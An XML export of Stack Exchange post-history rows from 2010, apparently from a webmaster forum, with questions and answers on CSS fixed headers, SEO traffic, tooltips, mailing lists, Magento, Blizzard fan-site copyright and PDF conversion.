  <row Id="11687" PostHistoryTypeId="2" PostId="5848" RevisionGUID="1d6af097-5735-4f7c-bfcb-762ddbeb25b1" CreationDate="2010-11-24T00:16:27.697" UserId="1737" Text="I'm trying to figure out how to create a div that overlays the page, staying in one place when the page scrolls, such as used in this article: [Top 5 Botched PC Game Launches][1]. (You will see a bar at the top that doesn't move, with the logo, *where gamers call home*).&#xD;&#xA;&#xD;&#xA;I'm not even sure what the correct terminology is - it's probably not overlay :) But whatever it is, it appears to be done with CSS only, as it shows up when Javascript is disabled.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.1up.com/do/feature?cId=3166996" />
  <row Id="11688" PostHistoryTypeId="1" PostId="5848" RevisionGUID="1d6af097-5735-4f7c-bfcb-762ddbeb25b1" CreationDate="2010-11-24T00:16:27.697" UserId="1737" Text="How to create an overlay div using CSS only (no Javascript)?" />
  <row Id="11689" PostHistoryTypeId="3" PostId="5848" RevisionGUID="1d6af097-5735-4f7c-bfcb-762ddbeb25b1" CreationDate="2010-11-24T00:16:27.697" UserId="1737" Text="&lt;css&gt;" />
  <row Id="11690" PostHistoryTypeId="2" PostId="5849" RevisionGUID="96071f81-b880-4d9b-bf9c-8ee50e8c2d09" CreationDate="2010-11-24T00:37:11.320" UserId="3438" Text="I have just done a search for two different keyword phrases.&#xD;&#xA;&#xD;&#xA;When I look at both of the results, they have the same number of &quot;Local Monthly Searches&quot; according to the Keyword Tool in Google Adwords which is 90,500. This is an &quot;exact&quot; match for the keyword phrases.&#xD;&#xA;&#xD;&#xA;I currently and have ranked in the #3 spot for both of these keyword phrases for almost a year now.&#xD;&#xA;&#xD;&#xA;TRAFFIC RESULTS - One site gets 2500 visitors a day and the other gets 100 visitors a day.&#xD;&#xA;&#xD;&#xA;WTF?&#xD;&#xA;&#xD;&#xA;Why such a disparity in the number of visitors per day when both sites are ranking #3?&#xD;&#xA;&#xD;&#xA;It doesn't make me trust the numbers from the Keyword Tool in Google Adwords when they are so ridiculously off like this." />
  <row Id="11691" PostHistoryTypeId="1" PostId="5849" RevisionGUID="96071f81-b880-4d9b-bf9c-8ee50e8c2d09" CreationDate="2010-11-24T00:37:11.320" UserId="3438" Text="Google Traffic Does Not Add Up" />
  <row Id="11692" PostHistoryTypeId="3" PostId="5849" RevisionGUID="96071f81-b880-4d9b-bf9c-8ee50e8c2d09" CreationDate="2010-11-24T00:37:11.320" UserId="3438" Text="&lt;keywords&gt;" />
  <row Id="11693" PostHistoryTypeId="2" PostId="5850" RevisionGUID="cc9a72fb-4edd-40b3-9d5d-fad8b8db969b" CreationDate="2010-11-24T01:13:25.993" UserId="1064" Text="    #status-bar {&#xD;&#xA;      width: 100%;&#xD;&#xA;      height: 36px;&#xD;&#xA;      position: fixed;&#xD;&#xA;      top: 19px;&#xD;&#xA;      left: 0;&#xD;&#xA;      z-index: 2147483646;&#xD;&#xA;      -moz-box-shadow: 0px 0px 3px #8a8a8a;&#xD;&#xA;      -webkit-box-shadow: 0px 0px 3px #8a8a8a;&#xD;&#xA;      box-shadow: 0px 0px 3px #8a8a8a;&#xD;&#xA;      background: transparent url(&quot;/images/Elements/status-bar/status-bar-bg.png&quot;) repeat-x;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Page source.&#xD;&#xA;&#xD;&#xA;Related reading: [CSS Positioning 101 at A List Apart][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.alistapart.com/articles/css-positioning-101/" />
  <row Id="11694" PostHistoryTypeId="2" PostId="5851" RevisionGUID="26222d0b-306a-4906-b57a-89550ffe86ca" CreationDate="2010-11-24T02:29:57.250" UserId="132" Text="The `title` attribute can be used on almost any HTML element, particularly hyperlinks, to provide some additional detail of the element. This is useful for screen readers, but not so much when using the keyboard to tab through elements.&#xD;&#xA;&#xD;&#xA;I often use the **TAB** key to skip over some links in a page to avoid having to reach for the mouse. Yet the title tooltips are only visible when the mouse is hovered over the matching element.&#xD;&#xA;&#xD;&#xA;Is this a failing of the browser, or is it something that should be accounted for in site design and implementation?" />
  <row Id="11695" PostHistoryTypeId="1" PostId="5851" RevisionGUID="26222d0b-306a-4906-b57a-89550ffe86ca" CreationDate="2010-11-24T02:29:57.250" UserId="132" Text="Tooltips for keyboard users" />
  <row Id="11696" PostHistoryTypeId="3" PostId="5851" RevisionGUID="26222d0b-306a-4906-b57a-89550ffe86ca" CreationDate="2010-11-24T02:29:57.250" UserId="132" Text="&lt;accessibility&gt;&lt;title-attribute&gt;" />
  <row Id="11697" PostHistoryTypeId="2" PostId="5852" RevisionGUID="91e6a39b-5a8d-4103-a6f5-1c962a3b6177" CreationDate="2010-11-24T03:07:36.667" UserId="3418" Text="I maintain a local Japanese conversation group and we're getting big enough that we need to get serious about a real mailing list.  What is a good solution?&#xD;&#xA;&#xD;&#xA;Good means easy, free, low-maintenance... I'm currently on a mailing list (unrelated to the conversation group) that only admits plain text messages... I would prefer my mailing list to allow any type of email.  It would be nice if I didn't have to have a server to manage the list.  I would like to offer the ability to let the users read the emails individually or in digests.&#xD;&#xA;&#xD;&#xA;Ideas?" />
  <row Id="11698" PostHistoryTypeId="1" PostId="5852" RevisionGUID="91e6a39b-5a8d-4103-a6f5-1c962a3b6177" CreationDate="2010-11-24T03:07:36.667" UserId="3418" Text="What's the a good mailing list manager/platform?" />
  <row Id="11699" PostHistoryTypeId="3" PostId="5852" RevisionGUID="91e6a39b-5a8d-4103-a6f5-1c962a3b6177" CreationDate="2010-11-24T03:07:36.667" UserId="3418" Text="&lt;mailing-list&gt;" />
  <row Id="11700" PostHistoryTypeId="2" PostId="5853" RevisionGUID="ff9ba9e0-9de8-43f0-8c6b-5f0d4dc6524b" CreationDate="2010-11-24T03:08:51.363" UserId="1757" Text="*I'm posting this as an answer because it's too long to fit in the comments, but it's really a reply to JulianDroid's comment:*&#xD;&#xA;&#xD;&#xA;&gt; First off--thanks a lot for this input&#xD;&#xA;&gt; guys... it's definitely a unique&#xD;&#xA;&gt; position to be diving head first into&#xD;&#xA;&gt; a fairly high profile project, but&#xD;&#xA;&gt; being super green to ecommerce. I'm&#xD;&#xA;&gt; fairly new to PHP, but I've heard that&#xD;&#xA;&gt; Magento takes weeks (months?) to&#xD;&#xA;&gt; familiarize yourself with... I wonder&#xD;&#xA;&gt; what features Magento offers over&#xD;&#xA;&gt; Prestashop, because if it's truly a&#xD;&#xA;&gt; better choice, our client is probably&#xD;&#xA;&gt; okay with us taking a more&#xD;&#xA;&gt; practical-in-the-longrun approach. I'd&#xD;&#xA;&gt; hate to be 2 weeks deep into Magento,&#xD;&#xA;&gt; and not be able to add 2 fields to the&#xD;&#xA;&gt; order page to accommodate our client's&#xD;&#xA;&gt; vision&#xD;&#xA;&#xD;&#xA;One of the reasons I switched from home-rolled (long, long ago) e-commerce stores to Magento is that it's a really robust solution. It's a bit bulky largely because it's designed to meet the needs of most store owners without needing any custom coding. So most customizations (e.g. custom fields, custom attributes, custom product types, web services, pricing rules, payment methods, etc.) can be done via the admin area. And most common features (tags, user reviews, Google Base integration, parcel tracking, etc.) are already built into the system. So for 99% of store owners out there, it's very user-friendly, and you'll find Magento will do everything you want with minimal difficulty. It's also designed with a very extensible architecture such that, if you're familiar with the system, you can customize it however you want simply by writing a custom module for it (of which there are a ton).&#xD;&#xA;&#xD;&#xA;The down side to all of this is that it's got a fairly complex architecture, so it takes a while to learn the API, the file structure, the EAV model, the templating system, etc. Unlike managing the store, which has a very useful and thorough user guide, developing for Magento can be quite intimidating at first, and you've got very little documentation to guide you.&#xD;&#xA;&#xD;&#xA;So that's the dichotomy. For 99% of customizations and business needs, it will take you no more than half a day to set up through the admin panel. But if your needs fall into that other 1% that requires a custom module, then it's going to be a lot more work initially than lighter e-commerce solutions. Luckily, there are modules for almost everything and it's only the initial learning curve that is hard.&#xD;&#xA;&#xD;&#xA;So I can't speak for Prestashop, but I would take a look at the demo Magento store/admin area and see if it's got everything you need. If not, search Magento Connect for a module that you could use." />
  <row Id="11701" PostHistoryTypeId="2" PostId="5854" RevisionGUID="bf4de2dd-c268-47c6-918e-89909a60e03a" CreationDate="2010-11-24T03:12:34.290" UserId="3439" Text="I am currently working on a shopping / auction website. The involving party who's doing SEO consultancy is insisting to generate URLs for every single combination of products listed on the website, examples below. It just doesn't feel right to me being that each product / category page already has a canonical links so I am really now sure how much gain the new sitemap would make. Would someone comment on the decision and give suggestions / recommendations in the given context? Thanks.&#xD;&#xA;&#xD;&#xA;Examples:&#xD;&#xA;&#xD;&#xA; - www.mywebsite.com/CPU&#xD;&#xA; - www.mywebsite.com/CPU/Intel&#xD;&#xA; - www.mywebsite.com/CPU/Intel/Core2Duo&#xD;&#xA; - www.mywebsite.com/CPU/AMD&#xD;&#xA; - www.mywebsite.com/CPU/AMD/Phenom&#xD;&#xA; - www.mywebsite.com/RAM&#xD;&#xA; - etc..." />
  <row Id="11702" PostHistoryTypeId="1" PostId="5854" RevisionGUID="bf4de2dd-c268-47c6-918e-89909a60e03a" CreationDate="2010-11-24T03:12:34.290" UserId="3439" Text="sitemap that contains millions of links/URLs" />
  <row Id="11703" PostHistoryTypeId="3" PostId="5854" RevisionGUID="bf4de2dd-c268-47c6-918e-89909a60e03a" CreationDate="2010-11-24T03:12:34.290" UserId="3439" Text="&lt;seo&gt;&lt;google&gt;&lt;sitemap&gt;&lt;websites&gt;" />
  <row Id="11704" PostHistoryTypeId="2" PostId="5855" RevisionGUID="9d735187-546b-45df-9b2e-8557a7382296" CreationDate="2010-11-24T03:13:39.127" UserId="1757" Text="Browsers ought to have the option to enable tooltips on focus, but since they don't you can do it via JavaScript: [Onfocus tooltips][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.brothercake.com/site/resources/scripts/tooltips/" />
  <row Id="11706" PostHistoryTypeId="2" PostId="5856" RevisionGUID="b0fd8097-a6ee-4450-9cb8-3950cc5c0763" CreationDate="2010-11-24T03:51:46.973" UserId="2707" Text="I'd defenintly try using &lt;a href=&quot;http://handbrake.fr/&quot;&gt;Handbrake&lt;/a&gt;, which is a GUI for ffmpeg. Sadly, it doesn't support WebM just yet, but that's because it's using a slightly older version of ffmpeg. The ffmpeg team just added WebM to their encoders and are still working on it. If you have more questions, check out this link:&#xD;&#xA;&#xD;&#xA;http://www.webmproject.org/tools/&#xD;&#xA;&#xD;&#xA;So where does that leave you? Firefox and Opera both support Ogg Theora, so you should be good there. Safari and Chrome use h264, so that's perfect. Since IE supports no formats just yet, you've covered all major browsers without WebM.&#xD;&#xA;&#xD;&#xA;If need any help whatsoever, check out the &lt;a href=&quot;http://trac.handbrake.fr/&quot;&gt;Handbrake wiki&lt;/a&gt;. It's super easy to use, so I doubt you'll need. Don't be afraid to holler if you need any help though." />
  <row Id="11707" PostHistoryTypeId="2" PostId="5857" RevisionGUID="219f96b3-0820-4518-91d7-714d185577ec" CreationDate="2010-11-24T07:49:45.830" UserDisplayName="user2589" Text="I was thinking to create a WordPress theme related to Starcraft 2. The theme would be free (under GPL). Am I allowed to do this or is it a copyright violation?&#xD;&#xA;" />
  <row Id="11708" PostHistoryTypeId="1" PostId="5857" RevisionGUID="219f96b3-0820-4518-91d7-714d185577ec" CreationDate="2010-11-24T07:49:45.830" UserDisplayName="user2589" Text="Can I make a website template based on a PC game?" />
  <row Id="11709" PostHistoryTypeId="3" PostId="5857" RevisionGUID="219f96b3-0820-4518-91d7-714d185577ec" CreationDate="2010-11-24T07:49:45.830" UserDisplayName="user2589" Text="&lt;html&gt;&lt;template&gt;&lt;photoshop&gt;" />
  <row Id="11710" PostHistoryTypeId="2" PostId="5858" RevisionGUID="39fe605f-6247-471d-8ad7-6c5bf7f62cb8" CreationDate="2010-11-24T08:51:24.000" UserId="1089" Text="Are the 2500/100 visitors from google using that exact keyword? Or is it total traffic?&#xD;&#xA;&#xD;&#xA;Without examples it's difficult to judge, but if the sites ranked 1 or 2 are really strong brands then it's quite reasonable to expect them to get a lions share of the traffic.&#xD;&#xA;&#xD;&#xA;If you are selling products, maybe your competitor has a &quot;show stopper&quot; deal included in the description meta tag, a site I help with experimented by adding &quot;2 year guarantee&quot; to our description where our competitors were trying to stuff more keywords in, our traffic increased by around 15%&#xD;&#xA;&#xD;&#xA;Maybe one of the phrases attracts a lot of advertising and the other doesn't, so although you appear 3rd organically, you essentially appear 5th (the top 2 being paid for places)" />
  <row Id="11711" PostHistoryTypeId="2" PostId="5859" RevisionGUID="19f46045-2add-4c2b-a50b-5c7d0799ed06" CreationDate="2010-11-24T09:01:01.270" UserId="3225" Text="See 9.a. here: http://us.blizzard.com/en-us/company/about/termsofuse.html&#xD;&#xA;&#xD;&#xA;*&quot;Game clients and Service.&#xD;&#xA;The Game clients and the Service (including without limitation any titles, computer code, **themes, objects, characters, character names, stories, dialogue, catch phrases, concepts, artwork,** animations, sounds, musical compositions, audio-visual effects, methods of operation, moral rights, documentation, in-game chat transcripts, character profile information, recordings or replays of Games, and the Game client and server software) are copyrighted works owned by Blizzard and its licensors. Blizzard reserves all rights in connection with the Games and the Service, including without limitation the exclusive right to create derivative works. **You agree that you will not create any work based on the Games or the Service except as expressly set forth by Blizzard in contest rules, or in Blizzard's Fan Policies, which include without limitation Blizzard's Machinima Policy and Fan Art Submission Policy.** Any reproduction or redistribution of any Game not in accordance with any policy or agreement, including without limitation the Game EULA and the TOU, is expressly prohibited by law, and may result in severe civil and criminal penalties.&quot;*&#xD;&#xA;&#xD;&#xA;Also&#xD;&#xA;&#xD;&#xA;*&quot;Can I write novels, screenplays, theatrical productions or other adaptations based on your games?&#xD;&#xA;No. Blizzard Entertainment® reserves the right to extend and expand our properties to other media. We want to provide a consistent story and universe for our customers, and want to ensure that only the highest quality, officially licensed and approved material is created based on our characters and other creative properties.&quot;*&#xD;&#xA;&#xD;&#xA;BUT&#xD;&#xA;&#xD;&#xA;**What is Blizzard Entertainment's® copyright/trademark policy for the Internet, specifically for fansites? Can I use Blizzard Entertainment's® images, text or sound on my web page? Is it ok if I use screenshots I take in-game on my web page?**&#xD;&#xA;Yes, within certain limits. We asked our legal department to provide some guidelines for you, and here is what they said:&#xD;&#xA;&#xD;&#xA;**Blizzard Entertainment® hereby grants you a personal, non-exclusive, non-transferable and non- assignable license to use and display, for home, noncommercial and personal use only, one copy of any material and/or software that you may download from this site, including, but not limited to, any files, codes, audio or images incorporated in or generated by the software (collectively the &quot;Downloaded Content&quot;) provided, however, that you must include or maintain all copyright and other notices contained or associated with such Downloaded Content. You acknowledge and agree that you may not sublicense, assign or otherwise transfer this license or the Downloaded Content and that no title to the Downloaded Content has been or will be transferred to you from Blizzard Entertainment® or anyone else. You also agree that you will not alter, disassemble, decompile, reverse engineer or otherwise modify the Downloaded Content.**&#xD;&#xA;&#xD;&#xA;Also, we reserve the right to revoke this limited use license at any time, for any reason, and at the sole discretion of Blizzard Entertainment®. You may not use our materials on sites that feature defamatory pornographic, or inflammatory content, including, but not limited to, hacks and cheats for any of our games or any other content that Blizzard Entertainment® find objectionable or unlawful.&#xD;&#xA;&#xD;&#xA;**Are there any legal notices and disclaimers that I need to have on my site when talking about your products?**&#xD;&#xA;Yes. You must include all copyright, trademark and other notices as appropriate. Appropriate notices can be acquired from here.&#xD;&#xA;&#xD;&#xA;**Can I register a domain names containing some portion of your product names such as &quot;star-craft.com&quot; or &quot;war-craft.com?&quot;**&#xD;&#xA;No. We are concerned that such use could cause confusion for our customers who may assume that the domain is associated with Blizzard Entertainment®.&#xD;&#xA;&#xD;&#xA;AND&#xD;&#xA;&#xD;&#xA;**Can I make and sell my own products (T-shirts, card games, models/figures, etc.) based on a Blizzard universe?**&#xD;&#xA;No. Blizzard Entertainment® does not enter into licensing agreements with individuals. To ensure the quality of all Blizzard products, all of our merchandise is created under a licensing agreement and all prospective licensees are thoroughly reviewed by Blizzard Entertainment before a license is granted. If you are a company that is interested in creating licensed merchandise and your company is looking to pursue a corporate licensing relationship with Blizzard Entertainment, please contact merchandiselicensing@blizzard.com.&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;so.... NO, you may create a theme for your own fan website but you can not create a theme as a product under another license that you &quot;sell for free&quot;.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="11712" PostHistoryTypeId="2" PostId="5860" RevisionGUID="fbc36e97-07a9-4223-802e-fca1e1b4b2eb" CreationDate="2010-11-24T09:02:59.230" UserId="1647" Text="I used SVN in the past, then I switched to [Git][1].&#xD;&#xA;&#xD;&#xA;I strongly encourage you to read the [SVN book][2]. It contains lot of useful information and suggestions to use SVN in the right way.&#xD;&#xA;&#xD;&#xA;You can start by using the `trunk` tree to store your main project development line. Each developer will work on its working copy, and execute one commit for every completed feature, fixed bug or change.&#xD;&#xA;&#xD;&#xA;The configuration on your production server depends on the complexity of the project. If the project is simple, you can checkout a working copy and point the server to the working copy. Make sure to block the access to the `.svn` folders.&#xD;&#xA;&#xD;&#xA;An other alternative, is to execute an export, instead of a checkout.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://git-scm.com/&#xD;&#xA;  [2]: http://svnbook.red-bean.com/" />
  <row Id="11713" PostHistoryTypeId="2" PostId="5861" RevisionGUID="7c02faf2-d556-4522-b3ce-7723d625af2b" CreationDate="2010-11-24T09:03:45.577" UserId="1647" Text="I answered here.&#xD;&#xA;http://webapps.stackexchange.com/questions/9627/google-adsense-bots-algorithm-and-behavior" />
  <row Id="11714" PostHistoryTypeId="2" PostId="5862" RevisionGUID="5724c150-ef62-4a1a-b8d3-a5b8cbbb4511" CreationDate="2010-11-24T09:28:59.823" UserId="3307" Text="Three offerings come to mind:&#xD;&#xA;&#xD;&#xA;[MailMan][1] - this is Open Source and free. I think it does HTML emails as well and I know it does the digest emails if required. However, it's not a hosted option so unless you can find somewhere to host it for you, then this might not be the way forward.&#xD;&#xA;&#xD;&#xA;[Google Groups][2] is a second option which is free, hosted and does all the things above, but I don't know off the top of my head if you can send HTML emails with it easily.&#xD;&#xA;&#xD;&#xA;[Yahoo Groups][3] is another one. As with the Google solution, it does everything but I don't know if it does HTML emails, so it might need some trial and error on your part.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.gnu.org/software/mailman/index.html&#xD;&#xA;  [2]: http://groups.google.com&#xD;&#xA;  [3]: http://groups.yahoo.com" />
  <row Id="11715" PostHistoryTypeId="2" PostId="5863" RevisionGUID="481e0e22-0134-47b7-aa3b-b7423144c6b3" CreationDate="2010-11-24T09:35:45.007" UserId="711" Text="The contents should be equivalent. Optimally, you would want to render the page using a browser exactly like a user would see it. Practically, there will always be differences, as there are differences when rendering the same page in different browsers. &#xD;&#xA;&#xD;&#xA;At any rate, there's no easy measure for &quot;close enough&quot; when it comes to comparing different web-pages, so it's not like someone could say &quot;90%&quot; is good enough :-). I would recommend making sure that all of the content is visible appropriately and that the (visible &amp; semantic) structure of the page matches the page as it would be viewed by a user. You should aim to provide the same level as you would use to render Flash-content in HTML for AJAX-crawling.&#xD;&#xA;" />
  <row Id="11718" PostHistoryTypeId="2" PostId="5865" RevisionGUID="d881d9fc-e798-43de-b17a-6db18d305719" CreationDate="2010-11-24T11:56:59.367" UserId="1429" Text="I read about link-wheels both the link you posted and this one that is more detailed: http://www.squidoo.com/LINK_WHEELS &#xD;&#xA;&#xD;&#xA;1st of all I would say that link wheels are actually NOT real black hat SEO, they might be called gray hat, because [Matt Cutt's himself suggests to spread over web 2.0 sites the existence of your main business/website by writing interesting stuff][1] &#xD;&#xA;So basically by creating articles on web 2.0 (as suggested by the link wheel) you are exactly doing what Matt himself suggests you to do.&#xD;&#xA;&#xD;&#xA;The main difference between a link wheel and just spreading on web 2.0 your site existence is that Google does NOT suggest to also create a wheel of links among all the articles you write. :)&#xD;&#xA;But considering that [Matt says that is ok to cross-links website as long as they are contents related][2], well the link wheels technique tells you to write article that are contents related, so is that black hat SEO?! :)&#xD;&#xA;&#xD;&#xA;My point is: considering all the effort that you would have to put in writing at least 5 good quality contents articles on 5 different sites, black hat for black hat: wouldn't it take less to spam around forums blogs (the ones you know they don't use nofollow).&#xD;&#xA;Comparing the same amount of time required it's very difficult to say if at the end of the day this link-wheel technique is really worth it, you would have to compare two very similar new sites (with no links at all pointing to them) and attempt to use the link wheel on one site and just a link-building-campaign for the other site. Than see which of the two sites gets a better Google PR.&#xD;&#xA;&#xD;&#xA;Telling you the truth, wasting time writing (and reading) about these techniques instead of putting good contents on the websites I build  makes me feel really sad and more and more frustrated. But:&#xD;&#xA;&#xD;&#xA;1. considering the type of results Google is returning lately basically strange cross linked websites and the new strange web 2.0 directories (the ones created by users) filled with all sort of crap usually rank better on same search terms than well written site that follows all Google webmaster guidelines and that really are relevant to the searched terms,&#xD;&#xA;&#xD;&#xA;2. and considering that customers (and probably not only mine ones) lately mind only about being on 1st page on Google they seem to be happier with a crappy ugly site as long as is 1st page on Google (the issue is that 1st page contains only 10 results, so I wonder how we will all fit in there)&#xD;&#xA;&#xD;&#xA;3. and considering that the amount of time spent in building a nice looking website with interesting contents it does not seem to be worth the effort anymore, because **IMHO** for how Google ranks sites (at the end they consider the link references to a site more than its contents, even if [Matt says they do balance both][3]) it somehow seems better to spend on SEO the time you would normally spend in making a nice site with interesting contents.&#xD;&#xA;&#xD;&#xA;I would say SEO has become basically the only thing that really matters, and I agree with you that too many people are cheating, and still IMHO Google does not seem to be able to automatically catch up on this issue and to detect the cheaters, it relies on manual spam report from webmasters, I tried to fill some of them, but I never seen differences and never got a reply.&#xD;&#xA;&#xD;&#xA;Well so far I never cheated on Google, but re-reading myself I'm wondering if *I am slowly moving to the DARK SIDE of the force?*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=TFJq7owdnpc&#xD;&#xA;  [2]: http://www.youtube.com/watch?v=ufGw65-1je8&amp;feature=channel&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=qXgni6U6qk8&amp;feature=related" />
  <row Id="11719" PostHistoryTypeId="2" PostId="5866" RevisionGUID="9d935cd3-4a60-4ad3-a99d-fc3449ef267f" CreationDate="2010-11-24T12:16:51.143" UserDisplayName="clare" Text="In my experience the only thing to do is cut to the chase and invest in a premium domain name .Okay it is going to be more expensive but it has been proved time and time again that by doing so  for a little extra investment, you could secure an intuitive, memorable name that could help your business differentiate itself in a crowded market by building a memorable online brand and help your business on its way to making a great impact on the web." />
  <row Id="11720" PostHistoryTypeId="5" PostId="5865" RevisionGUID="ccb62282-ac78-4ce9-83ed-f022c3d08fa5" CreationDate="2010-11-24T12:41:16.837" UserId="1429" Comment="edited body" Text="I read about link-wheels both the link you posted and this one that is more detailed: http://www.squidoo.com/LINK_WHEELS &#xD;&#xA;&#xD;&#xA;1st of all I would say that link wheels are actually NOT real black hat SEO, they might be called gray hat, because [Matt Cutt's himself suggests to spread over web 2.0 sites the existence of your main business/website by writing interesting stuff][1] &#xD;&#xA;So basically by creating articles on web 2.0 (as suggested by the link wheel) you are exactly doing what Matt himself suggests you to do.&#xD;&#xA;&#xD;&#xA;The main difference between a link wheel and just spreading on web 2.0 your site existence is that Google does NOT suggest to also create a wheel of links among all the articles you write. :)&#xD;&#xA;But considering that [Matt says that is ok to cross-links website as long as they are contents related][2], well the link wheels technique tells you to write article that are contents related, so is that black hat SEO?! :)&#xD;&#xA;&#xD;&#xA;My point is: considering all the effort that you would have to put in writing at least 5 good quality contents articles on 5 different sites, black hat for black hat: wouldn't it take less to spam around forums blogs (the ones you know they don't use nofollow).&#xD;&#xA;Comparing the same amount of time required it's very difficult to say if at the end of the day this link-wheel technique is really worth it, you would have to compare two very similar new sites (with no links at all pointing to them) and attempt to use the link wheel on one site and just a link-building-campaign for the other site. Than see which of the two sites gets a better Google PR.&#xD;&#xA;&#xD;&#xA;Telling you the truth, wasting time writing (and reading) about these techniques instead of putting good contents on the websites I build  makes me feel really sad and more and more frustrated. But:&#xD;&#xA;&#xD;&#xA;1. considering the type of results Google is returning lately basically strange cross linked websites and the new strange web 2.0 directories (the ones created by users) filled with all sort of crap usually rank better on same search terms than well written site that follows all Google webmaster guidelines and that really are relevant to the searched terms,&#xD;&#xA;&#xD;&#xA;2. and considering that customers (and probably not only mine ones) lately mind only about being on 1st page on Google they seem to be happier with a crappy ugly site as long as is 1st page on Google (the issue is that 1st page contains only 10 results, so I wonder how we will all fit in there)&#xD;&#xA;&#xD;&#xA;3. and considering that the amount of time spent in building a nice looking website with interesting contents it does not seem to be worth the effort anymore, because **IMHO** for how Google ranks sites (at the end they consider the link references to a site more than its contents, even if [Matt says they do balance both][3]) it somehow seems better to spend on SEO the time you would normally spend in making a nice site with interesting contents.&#xD;&#xA;&#xD;&#xA;I would say SEO has become basically the only thing that really matters, and I agree with you that too many people are cheating, and still IMHO Google does not seem to be able to automatically catch up on this issue and to detect the cheaters, it relies on manual spam report from webmasters, I tried to fill some of them, but I never seen differences and never got a reply.&#xD;&#xA;&#xD;&#xA;Well so far I never cheated on Google, but re-reading myself I'm wondering if *I am slowly moving to the DARK SIDE of the force.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=TFJq7owdnpc&#xD;&#xA;  [2]: http://www.youtube.com/watch?v=ufGw65-1je8&amp;feature=channel&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=qXgni6U6qk8&amp;feature=related" />
  <row Id="11721" PostHistoryTypeId="2" PostId="5867" RevisionGUID="4cc86122-e938-4fab-b8dd-5ac3b9e7874d" CreationDate="2010-11-24T13:42:00.757" UserId="2332" Text="Sometimes clients email me a poster which they received from a graphic designer in pdf format that they want added to the site.  I have generally told them to ask the designer to export it in jpeg format.  This has been working out OK, but is there any easier option?  The only other way I have figured out is to do a screen shot of the pdf and then crop it using gimp, but that's kind of time consuming." />
  <row Id="11722" PostHistoryTypeId="1" PostId="5867" RevisionGUID="4cc86122-e938-4fab-b8dd-5ac3b9e7874d" CreationDate="2010-11-24T13:42:00.757" UserId="2332" Text="convert pdf to jpeg on linux?" />
  <row Id="11723" PostHistoryTypeId="3" PostId="5867" RevisionGUID="4cc86122-e938-4fab-b8dd-5ac3b9e7874d" CreationDate="2010-11-24T13:42:00.757" UserId="2332" Text="&lt;linux&gt;&lt;pdf&gt;&lt;jpeg&gt;" />
  <row Id="11724" PostHistoryTypeId="2" PostId="5868" RevisionGUID="545a5306-2d25-4fce-9342-bceb57ba246c" CreationDate="2010-11-24T14:40:55.253" UserId="1064" Text="[ImageMagick][1] (and the [iMagick extension][2] if you're using PHP) should work reasonably well for this task.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.imagemagick.org/script/index.php&#xD;&#xA;  [2]: http://php.net/manual/en/book.imagick.php" />
  <row Id="11725" PostHistoryTypeId="5" PostId="5865" RevisionGUID="e51a282e-98e4-4d6a-8b36-fae6eb459a92" CreationDate="2010-11-24T15:08:04.320" UserId="1429" Comment="added 23 characters in body; added 5 characters in body" Text="I read about link-wheels both the link you posted and this one that is more detailed: http://www.squidoo.com/LINK_WHEELS &#xD;&#xA;&#xD;&#xA;1st of all I would say that link wheels are actually NOT real black hat SEO, they might be called gray hat, because [Matt Cutt's himself suggests to spread over web 2.0 sites the existence of your main business/website by writing interesting stuff][1] &#xD;&#xA;So basically by creating articles on web 2.0 (as suggested by the link wheel) you are exactly doing what Matt himself suggests you to do.&#xD;&#xA;&#xD;&#xA;The main difference between a link wheel and just spreading on web 2.0 your site existence is that Google does NOT suggest to also create a wheel of links among all the articles you write. :)&#xD;&#xA;But considering that [Matt says that is ok to cross-links website as long as they are contents related][2], well the link wheels technique tells you to write article that are contents related, so is that black hat SEO?! :)&#xD;&#xA;&#xD;&#xA;My point is: considering all the effort that you would have to put in writing at least 5 good quality contents articles on 5 different sites, black hat for black hat: wouldn't it take less to spam around forums blogs (the ones you know they don't use nofollow).&#xD;&#xA;Comparing the same amount of time required it's very difficult to say if at the end of the day this link-wheel technique is really worth it, you would have to compare two very similar new sites (with no links at all pointing to them) and attempt to use the link wheel on one site and just a link-building-campaign for the other site. Than see which of the two sites gets a better Google PR.&#xD;&#xA;&#xD;&#xA;Telling you the truth, wasting time writing (and reading) about these techniques instead of putting good contents on the websites I build  makes me feel really sad and more and more frustrated. But:&#xD;&#xA;&#xD;&#xA;1. considering the type of results Google is returning lately basically strange cross linked websites and the new strange web 2.0 directories (the ones created by users) filled with all sort of crap usually rank better on same search terms than well written site that follows all Google webmaster guidelines and that really are relevant to the searched terms;&#xD;&#xA;&#xD;&#xA;2. and considering that customers (and probably not only mine ones) lately mind only about being on 1st page on Google they seem to be happier with a crappy ugly site as long as is 1st page on Google (the issue is that 1st page contains only 10 results, so I wonder how we will all fit in there);&#xD;&#xA;&#xD;&#xA;3. and considering that the amount of time spent in building a nice looking website with interesting contents it does not seem to be worth the effort anymore, because **IMHO** for how Google ranks sites (at the end they consider the link references to a site more than its contents, even if [Matt says they do balance both][3]) it somehow seems better to spend on SEO the time you would normally spend in making a nice site with interesting contents;&#xD;&#xA;&#xD;&#xA;all these considered, I would say SEO has become basically the only thing that really matters, and I agree with you that too many people are cheating, and still IMHO Google does not seem to be able to automatically catch up on this issue and to detect the cheaters, it relies on manual spam report from webmasters, I tried to fill some of them, but I never seen penalties given I've never got a reply.&#xD;&#xA;&#xD;&#xA;Well so far I never cheated on Google, but re-reading myself I'm wondering if *I am slowly moving to the DARK SIDE of the force.*&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.youtube.com/watch?v=TFJq7owdnpc&#xD;&#xA;  [2]: http://www.youtube.com/watch?v=ufGw65-1je8&amp;feature=channel&#xD;&#xA;  [3]: http://www.youtube.com/watch?v=qXgni6U6qk8&amp;feature=related" />
